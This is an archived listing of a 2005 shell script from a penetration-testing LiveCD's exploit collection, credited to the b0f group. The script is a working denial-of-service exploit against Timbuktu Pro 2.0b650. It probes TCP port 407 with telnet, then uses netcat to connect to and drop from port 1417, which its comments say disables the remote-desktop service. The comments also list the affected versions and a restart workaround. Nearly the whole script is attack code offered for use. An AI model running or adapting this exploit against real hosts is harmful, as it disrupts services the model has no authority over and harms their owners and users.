home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / timbuktu / timbuktu20.sh < prev   
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  58 lines

  1. #!/bin/sh
  2.  
  3. ##########################################
  4. # eth0 is a member of b0f/buffer0verfl0w security  #
  5. #
  6. http://b0f.freebsd.lublin.pl
  7. #
  8. #########################################
  9.  
  10. # *Needs netcat in order to work......*
  11. # Immune systems:
  12. # Timbuktu Pro 2000
  13. #
  14. # Vulnerable systems:
  15. # Timbuktu Pro 2.0b650 (Also incorrectly known as Timbukto)
  16. #
  17. # Exploit:
  18. #  - Connect and disconnect to port TCP/407 and port TCP/1417 will start
  19.  
  20. # listening.
  21. #  - Connect on port TCP/1417 (using a simple telnet client).
  22. #  - Disconnect from TCP/1417 (with no data exchange).
  23. #
  24. # Workaround:
  25. # - Kill Timbuktu process (using pslist/pskill for example).
  26. # - Stop Timbuktu services.
  27. # - Start them again.
  28.  
  29.  
  30. echo "Exploit:"
  31. echo " - Connect and disconnect to port TCP/407 and port TCP/1417 will
  32. start listening."
  33. echo " - Connect on port TCP/1417 (using a simple telnet client)."
  34. echo " - Disconnect from TCP/1417 (with no data exchange)."
  35. echo "Coded: eth0 from buffer0vefl0w security (b0f)"
  36. echo "[http://b0f.freebsd.lublin.pl]"
  37.  
  38. echo "Checking if host is actually listening on port 407"
  39. telnet $1 407 1>.timb.tmp 2>.timb.tmp &
  40. echo "Sleeping 5 seconds..."
  41. sleep 5
  42. killall -9 telnet 1>/dev/null 2>/dev/null
  43. cat .timb.tmp | grep "Connected" >/dev/null 2>&1
  44. if [ $? -eq 0 ]; then
  45.  timb="1"
  46. echo "[$1] is listening on port 407..."
  47. echo "Exploiting:..."
  48. nc $1 1417 1>/dev/null 2>/dev/null
  49. sleep 3
  50. killall -9 nc 1>/dev/null 2>/dev/null
  51. echo "Done!!"
  52. fi
  53. if [ "$timb" != "1" ]; then
  54.  echo "[$1] Is not listening on port 407 = doesn't exist..."
  55. fi
  56.  
  57. # http://b0f.freebsd.lublin.pl #
  58.